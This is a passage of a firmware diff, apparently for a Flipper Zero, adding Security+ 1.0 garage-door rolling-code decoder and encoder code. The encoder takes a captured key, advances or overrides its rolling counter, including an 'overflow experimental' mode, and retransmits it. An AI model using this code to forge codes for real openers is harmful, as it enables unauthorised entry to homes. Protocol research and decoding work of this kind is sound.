+ */
+SubGhzProtocolStatus subghz_protocol_decoder_roger_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderRoger.
+ * @param context Pointer to a SubGhzProtocolDecoderRoger instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_roger_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderRoger instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_roger_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v1.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v1.c
new file mode 100644
index 000000000..9b2d77913
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v1.c
@@ -0,0 +1,659 @@
+#include "secplus_v1.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+/*
+* Help
+* https://github.com/argilo/secplus
+* https://github.com/merbanan/rtl_433/blob/master/src/devices/secplus_v1.c
+*/
+
+#define TAG "SubGhzProtocoSecPlusV1"
+
+#define SECPLUS_V1_BIT_ERR -1 //0b0000
+#define SECPLUS_V1_BIT_0   0 //0b0001
+#define SECPLUS_V1_BIT_1   1 //0b0011
+#define SECPLUS_V1_BIT_2   2 //0b0111
+
+#define SECPLUS_V1_PACKET_1_HEADER     0x00
+#define SECPLUS_V1_PACKET_2_HEADER     0x02
+#define SECPLUS_V1_PACKET_1_INDEX_BASE 0
+#define SECPLUS_V1_PACKET_2_INDEX_BASE 21
+#define SECPLUS_V1_PACKET_1_ACCEPTED   (1 << 0)
+#define SECPLUS_V1_PACKET_2_ACCEPTED   (1 << 1)
+
+static const SubGhzBlockConst subghz_protocol_secplus_v1_const = {
+    .te_short = 500,
+    .te_long = 1500,
+    .te_delta = 100,
+    .min_count_bit_for_found = 21,
+};
+
+struct SubGhzProtocolDecoderSecPlus_v1 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint8_t packet_accepted;
+    uint8_t base_packet_index;
+    uint8_t data_array[44];
+};
+
+struct SubGhzProtocolEncoderSecPlus_v1 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    uint8_t data_array[44];
+};
+
+typedef enum {
+    SecPlus_v1DecoderStepReset = 0,
+    SecPlus_v1DecoderStepSearchStartBit,
+    SecPlus_v1DecoderStepSaveDuration,
+    SecPlus_v1DecoderStepDecoderData,
+} SecPlus_v1DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_secplus_v1_decoder = {
+    .alloc = subghz_protocol_decoder_secplus_v1_alloc,
+    .free = subghz_protocol_decoder_secplus_v1_free,
+
+    .feed = subghz_protocol_decoder_secplus_v1_feed,
+    .reset = subghz_protocol_decoder_secplus_v1_reset,
+
+    .get_hash_data = subghz_protocol_decoder_secplus_v1_get_hash_data,
+    .serialize = subghz_protocol_decoder_secplus_v1_serialize,
+    .deserialize = subghz_protocol_decoder_secplus_v1_deserialize,
+    .get_string = subghz_protocol_decoder_secplus_v1_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_secplus_v1_encoder = {
+    .alloc = subghz_protocol_encoder_secplus_v1_alloc,
+    .free = subghz_protocol_encoder_secplus_v1_free,
+
+    .deserialize = subghz_protocol_encoder_secplus_v1_deserialize,
+    .stop = subghz_protocol_encoder_secplus_v1_stop,
+    .yield = subghz_protocol_encoder_secplus_v1_yield,
+};
+
+const SubGhzProtocol subghz_protocol_secplus_v1 = {
+    .name = SUBGHZ_PROTOCOL_SECPLUS_V1_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Send | SubGhzProtocolFlag_Save,
+
+    .decoder = &subghz_protocol_secplus_v1_decoder,
+    .encoder = &subghz_protocol_secplus_v1_encoder,
+};
+
+void* subghz_protocol_encoder_secplus_v1_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderSecPlus_v1* instance = malloc(sizeof(SubGhzProtocolEncoderSecPlus_v1));
+
+    instance->base.protocol = &subghz_protocol_secplus_v1;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_secplus_v1_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSecPlus_v1* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_secplus_v1_get_upload(SubGhzProtocolEncoderSecPlus_v1* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Encoder size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header packet 1
+    instance->encoder.upload[index++] = level_duration_make(
+        false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * (116 + 3));
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short);
+
+    //Send data packet 1
+    for(uint8_t i = SECPLUS_V1_PACKET_1_INDEX_BASE + 1; i < SECPLUS_V1_PACKET_1_INDEX_BASE + 21;
+        i++) {
+        switch(instance->data_array[i]) {
+        case SECPLUS_V1_BIT_0:
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short);
+            break;
+        case SECPLUS_V1_BIT_1:
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2);
+            break;
+        case SECPLUS_V1_BIT_2:
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_secplus_v1_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3);
+            break;
+
+        default:
+            FURI_LOG_E(TAG, "Encoder error, wrong bit type");
+            return false;
+            break;
+        }
+    }
+
+    //Send header packet 2
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * (116));
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3);
+
+    //Send data packet 2
+    for(uint8_t i = SECPLUS_V1_PACKET_2_INDEX_BASE + 1; i < SECPLUS_V1_PACKET_2_INDEX_BASE + 21;
+        i++) {
+        switch(instance->data_array[i]) {
+        case SECPLUS_V1_BIT_0:
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short);
+            break;
+        case SECPLUS_V1_BIT_1:
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2);
+            break;
+        case SECPLUS_V1_BIT_2:
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_secplus_v1_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3);
+            break;
+
+        default:
+            FURI_LOG_E(TAG, "Encoder error, wrong bit type.");
+            return false;
+            break;
+        }
+    }
+
+    return true;
+}
+
+/** 
+ * Security+ 1.0 message encoding
+ * @param instance SubGhzProtocolEncoderSecPlus_v1* 
+ */
+
+static bool subghz_protocol_secplus_v1_encode(SubGhzProtocolEncoderSecPlus_v1* instance) {
+    uint32_t fixed = (instance->generic.data >> 32) & 0xFFFFFFFF;
+    uint32_t rolling = instance->generic.data & 0xFFFFFFFF;
+
+    uint8_t rolling_array[20] = {0};
+    uint8_t fixed_array[20] = {0};
+    uint32_t acc = 0;
+
+    //increment the counter
+    //rolling += 2; - old way
+    // Experemental case - we dont know counter size exactly, so just will be think that it is in range of 0xE6000000 - 0xFFFFFFFF
+
+    // Check for OFEX (overflow experimental) mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&rolling)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((rolling + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFFFFFF) {
+                rolling = 0xE6000000;
+            } else {
+                rolling += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+        if(rolling < 0xE6000000) rolling = 0xE6000000;
+    } else {
+        // OFEX (overflow experimental) mode
+        if((rolling + 0x1) > 0xFFFFFFFF) {
+            rolling = 0xE6000000;
+        } else if(rolling >= 0xE6000000 && rolling != 0xFFFFFFFE) {
+            rolling = 0xFFFFFFFE;
+        } else {
+            rolling++;
+        }
+    }
+
+    //update data
+    instance->generic.data &= 0xFFFFFFFF00000000;
+    instance->generic.data |= rolling;
+
+    if(fixed > 0xCFD41B90) {
+        FURI_LOG_E(TAG, "Encode wrong fixed data");
+        return false;
+    }
+
+    rolling = subghz_protocol_blocks_reverse_key(rolling, 32);
+
+    for(int i = 19; i > -1; i--) {
+        rolling_array[i] = rolling % 3;
+        rolling /= 3;
+        fixed_array[i] = fixed % 3;
+        fixed /= 3;
+    }
+
+    instance->data_array[SECPLUS_V1_PACKET_1_INDEX_BASE] = SECPLUS_V1_PACKET_1_HEADER;
+    instance->data_array[SECPLUS_V1_PACKET_2_INDEX_BASE] = SECPLUS_V1_PACKET_2_HEADER;
+
+    //encode packet 1
+    for(uint8_t i = 1; i < 11; i++) {
+        acc += rolling_array[i - 1];
+        instance->data_array[i * 2 - 1] = rolling_array[i - 1];
+        acc += fixed_array[i - 1];
+        instance->data_array[i * 2] = acc % 3;
+    }
+
+    acc = 0;
+    //encode packet 2
+    for(uint8_t i = 11; i < 21; i++) {
+        acc += rolling_array[i - 1];
+        instance->data_array[i * 2] = rolling_array[i - 1];
+        acc += fixed_array[i - 1];
+        instance->data_array[i * 2 + 1] = acc % 3;
+    }
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_secplus_v1_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSecPlus_v1* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            2 * subghz_protocol_secplus_v1_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_secplus_v1_encode(instance)) {
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!subghz_protocol_encoder_secplus_v1_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            ;
+            break;
+        }
+
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            ret = SubGhzProtocolStatusErrorParserKey;
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_secplus_v1_stop(void* context) {
+    SubGhzProtocolEncoderSecPlus_v1* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_secplus_v1_yield(void* context) {
+    SubGhzProtocolEncoderSecPlus_v1* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_secplus_v1_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderSecPlus_v1* instance = malloc(sizeof(SubGhzProtocolDecoderSecPlus_v1));
+    instance->base.protocol = &subghz_protocol_secplus_v1;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    return instance;
+}
+
+void subghz_protocol_decoder_secplus_v1_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v1* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_secplus_v1_reset(void* context) {
+    furi_assert(context);
+    // SubGhzProtocolDecoderSecPlus_v1* instance = context;
+    // does not reset the decoder because you need to get 2 parts of the package
+}
+
+/** 
+ * Security+ 1.0 message decoding
+ * @param instance SubGhzProtocolDecoderSecPlus_v1* 
+ */
+
+static void subghz_protocol_secplus_v1_decode(SubGhzProtocolDecoderSecPlus_v1* instance) {
+    uint32_t rolling = 0;
+    uint32_t fixed = 0;
+    uint32_t acc = 0;
+    uint8_t digit = 0;
+
+    //decode packet 1
+    for(uint8_t i = 1; i < 21; i += 2) {
+        digit = instance->data_array[i];
+        rolling = (rolling * 3) + digit;
+        acc += digit;
+
+        digit = (60 + instance->data_array[i + 1] - acc) % 3;
+        fixed = (fixed * 3) + digit;
+        acc += digit;
+    }
+
+    acc = 0;
+    //decode packet 2
+    for(uint8_t i = 22; i < 42; i += 2) {
+        digit = instance->data_array[i];
+        rolling = (rolling * 3) + digit;
+        acc += digit;
+
+        digit = (60 + instance->data_array[i + 1] - acc) % 3;
+        fixed = (fixed * 3) + digit;
+        acc += digit;
+    }
+
+    rolling = subghz_protocol_blocks_reverse_key(rolling, 32);
+    instance->generic.data = (uint64_t)fixed << 32 | rolling;
+
+    instance->generic.data_count_bit =
+        subghz_protocol_secplus_v1_const.min_count_bit_for_found * 2;
+}
+
+void subghz_protocol_decoder_secplus_v1_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v1* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case SecPlus_v1DecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_secplus_v1_const.te_short * 120) <
+                        subghz_protocol_secplus_v1_const.te_delta * 120)) {
+            //Found header Security+ 1.0
+            instance->decoder.parser_step = SecPlus_v1DecoderStepSearchStartBit;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->packet_accepted = 0;
+            memset(instance->data_array, 0, sizeof(instance->data_array));
+        }
+        break;
+    case SecPlus_v1DecoderStepSearchStartBit:
+        if(level) {
+            if(DURATION_DIFF(duration, subghz_protocol_secplus_v1_const.te_short) <
+               subghz_protocol_secplus_v1_const.te_delta) {
+                instance->base_packet_index = SECPLUS_V1_PACKET_1_INDEX_BASE;
+                instance
+                    ->data_array[instance->decoder.decode_count_bit + instance->base_packet_index] =
+                    SECPLUS_V1_BIT_0;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = SecPlus_v1DecoderStepSaveDuration;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_secplus_v1_const.te_long) <
+                subghz_protocol_secplus_v1_const.te_delta) {
+                instance->base_packet_index = SECPLUS_V1_PACKET_2_INDEX_BASE;
+                instance
+                    ->data_array[instance->decoder.decode_count_bit + instance->base_packet_index] =
+                    SECPLUS_V1_BIT_2;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = SecPlus_v1DecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = SecPlus_v1DecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = SecPlus_v1DecoderStepReset;
+        }
+        break;
+    case SecPlus_v1DecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(DURATION_DIFF(duration, subghz_protocol_secplus_v1_const.te_short * 120) <
+               subghz_protocol_secplus_v1_const.te_delta * 120) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_secplus_v1_const.min_count_bit_for_found) {
+                    if(instance->base_packet_index == SECPLUS_V1_PACKET_1_INDEX_BASE)
+                        instance->packet_accepted |= SECPLUS_V1_PACKET_1_ACCEPTED;
+                    if(instance->base_packet_index == SECPLUS_V1_PACKET_2_INDEX_BASE)
+                        instance->packet_accepted |= SECPLUS_V1_PACKET_2_ACCEPTED;
+
+                    if(instance->packet_accepted ==
+                       (SECPLUS_V1_PACKET_1_ACCEPTED | SECPLUS_V1_PACKET_2_ACCEPTED)) {
+                        subghz_protocol_secplus_v1_decode(instance);
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                        instance->decoder.parser_step = SecPlus_v1DecoderStepReset;
+                    }
+                }
+                instance->decoder.parser_step = SecPlus_v1DecoderStepSearchStartBit;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = SecPlus_v1DecoderStepDecoderData;
+            }
+        } else {
+            instance->decoder.parser_step = SecPlus_v1DecoderStepReset;
+        }
+        break;
+    case SecPlus_v1DecoderStepDecoderData:
+        if(level && (instance->decoder.decode_count_bit <=
+                     subghz_protocol_secplus_v1_const.min_count_bit_for_found)) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_secplus_v1_const.te_short * 3) <
+                subghz_protocol_secplus_v1_const.te_delta * 3) &&
+               (DURATION_DIFF(duration, subghz_protocol_secplus_v1_const.te_short) <
+                subghz_protocol_secplus_v1_const.te_delta)) {
+                instance
+                    ->data_array[instance->decoder.decode_count_bit + instance->base_packet_index] =
+                    SECPLUS_V1_BIT_0;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = SecPlus_v1DecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_secplus_v1_const.te_short * 2) <
+                 subghz_protocol_secplus_v1_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_secplus_v1_const.te_short * 2) <
+                 subghz_protocol_secplus_v1_const.te_delta * 2)) {
+                instance
+                    ->data_array[instance->decoder.decode_count_bit + instance->base_packet_index] =
+                    SECPLUS_V1_BIT_1;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = SecPlus_v1DecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_secplus_v1_const.te_short) <
+                 subghz_protocol_secplus_v1_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_secplus_v1_const.te_short * 3) <
+                 subghz_protocol_secplus_v1_const.te_delta * 3)) {
+                instance
+                    ->data_array[instance->decoder.decode_count_bit + instance->base_packet_index] =
+                    SECPLUS_V1_BIT_2;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = SecPlus_v1DecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = SecPlus_v1DecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = SecPlus_v1DecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_secplus_v1_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v1* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_secplus_v1_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v1* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_secplus_v1_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v1* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        2 * subghz_protocol_secplus_v1_const.min_count_bit_for_found);
+}
+
+bool subghz_protocol_secplus_v1_check_fixed(uint32_t fixed) {
+    //uint8_t id0 = (fixed / 3) % 3;
+    uint8_t id1 = (fixed / 9) % 3;
+    uint8_t btn = fixed % 3;
+
+    do {
+        if(id1 == 0) return false;
+        if(!(btn == 0 || btn == 1 || btn == 2)) return false; //-V560
+    } while(false);
+    return true;
+}
+
+void subghz_protocol_decoder_secplus_v1_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v1* instance = context;
+
+    uint32_t fixed = (instance->generic.data >> 32) & 0xFFFFFFFF;
+    instance->generic.cnt = instance->generic.data & 0xFFFFFFFF;
+
+    instance->generic.btn = fixed % 3;
+    uint8_t id0 = (fixed / 3) % 3;
+    uint8_t id1 = (fixed / 9) % 3;
+    uint16_t pin = 0;
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 32;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 2;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:%lX%08lX\r\n"
+        "id1:%d id0:%d",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)instance->generic.data,
+        id1,
+        id0);
+
+    if(id1 == 0) {
+        // (fixed // 3**3) % (3**7)    3^3=27  3^73=72187
+
+        instance->generic.serial = (fixed / 27) % 2187;
+        // pin = (fixed // 3**10) % (3**9)  3^10=59049 3^9=19683
+        pin = (fixed / 59049) % 19683;
+
+        if(pin <= 9999) {
+            furi_string_cat_printf(output, " pin:%d", pin);
+        } else if(pin <= 11029) {
+            furi_string_cat_printf(output, " pin:enter");
+        }
+
+        int pin_suffix = 0;
+        // pin_suffix = (fixed // 3**19) % 3   3^19=1162261467
+        pin_suffix = (fixed / 1162261467) % 3;
+
+        if(pin_suffix == 1) {
+            furi_string_cat_printf(output, " #\r\n");
+        } else if(pin_suffix == 2) {
+            furi_string_cat_printf(output, " *\r\n");
+        } else {
+            furi_string_cat_printf(output, "\r\n");
+        }
+
+        furi_string_cat_printf(
+            output,
+            "Sn:0x%08lX\r\n"
+            "Cnt:%08lX "
+            "SwID:0x%X\r\n",
+            instance->generic.serial,
+            instance->generic.cnt,
+            instance->generic.btn);
+    } else {
+        //id = fixed / 27;
+        instance->generic.serial = fixed / 27;
+        if(instance->generic.btn == 1) {
+            furi_string_cat_printf(output, " Btn:left\r\n");
+        } else if(instance->generic.btn == 0) {
+            furi_string_cat_printf(output, " Btn:middle\r\n");
+        } else if(instance->generic.btn == 2) { //-V547
+            furi_string_cat_printf(output, " Btn:right\r\n");
+        }
+
+        furi_string_cat_printf(
+            output,
+            "Sn:0x%08lX\r\n"
+            "Cnt:%08lX "
+            "SwID:0x%X\r\n",
+            instance->generic.serial,
+            instance->generic.cnt,
+            instance->generic.btn);
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v1.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v1.h
new file mode 100644
index 000000000..e01f8bcda
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v1.h
@@ -0,0 +1,110 @@
+#pragma once
+
+#include "base.h"
+#include "public_api.h"
+
+#define SUBGHZ_PROTOCOL_SECPLUS_V1_NAME "Security+ 1.0"
+
+typedef struct SubGhzProtocolDecoderSecPlus_v1 SubGhzProtocolDecoderSecPlus_v1;
+typedef struct SubGhzProtocolEncoderSecPlus_v1 SubGhzProtocolEncoderSecPlus_v1;
+
+extern const SubGhzProtocolDecoder subghz_protocol_secplus_v1_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_secplus_v1_encoder;
+extern const SubGhzProtocol subghz_protocol_secplus_v1;
+
+/**
+ * Allocate SubGhzProtocolEncoderSecPlus_v1.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderSecPlus_v1* pointer to a SubGhzProtocolEncoderSecPlus_v1 instance
+ */
+void* subghz_protocol_encoder_secplus_v1_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderSecPlus_v1.
+ * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance
+ */
+void subghz_protocol_encoder_secplus_v1_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_secplus_v1_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance
+ */
+void subghz_protocol_encoder_secplus_v1_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_secplus_v1_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderSecPlus_v1.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderSecPlus_v1* pointer to a SubGhzProtocolDecoderSecPlus_v1 instance
+ */
+void* subghz_protocol_decoder_secplus_v1_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderSecPlus_v1.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v1 instance
+ */
+void subghz_protocol_decoder_secplus_v1_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderSecPlus_v1.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v1 instance
+ */
+void subghz_protocol_decoder_secplus_v1_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v1 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_secplus_v1_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v1 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_secplus_v1_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderSecPlus_v1.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v1 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_secplus_v1_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderSecPlus_v1.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v1 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_secplus_v1_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v1 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_secplus_v1_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v2.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v2.c
new file mode 100644
index 000000000..cab5d575f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v2.c
@@ -0,0 +1,995 @@
+#include "secplus_v2.h"
+#include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+/*
+* Help
+* https://github.com/argilo/secplus
+* https://github.com/merbanan/rtl_433/blob/master/src/devices/secplus_v2.c
+*/
+
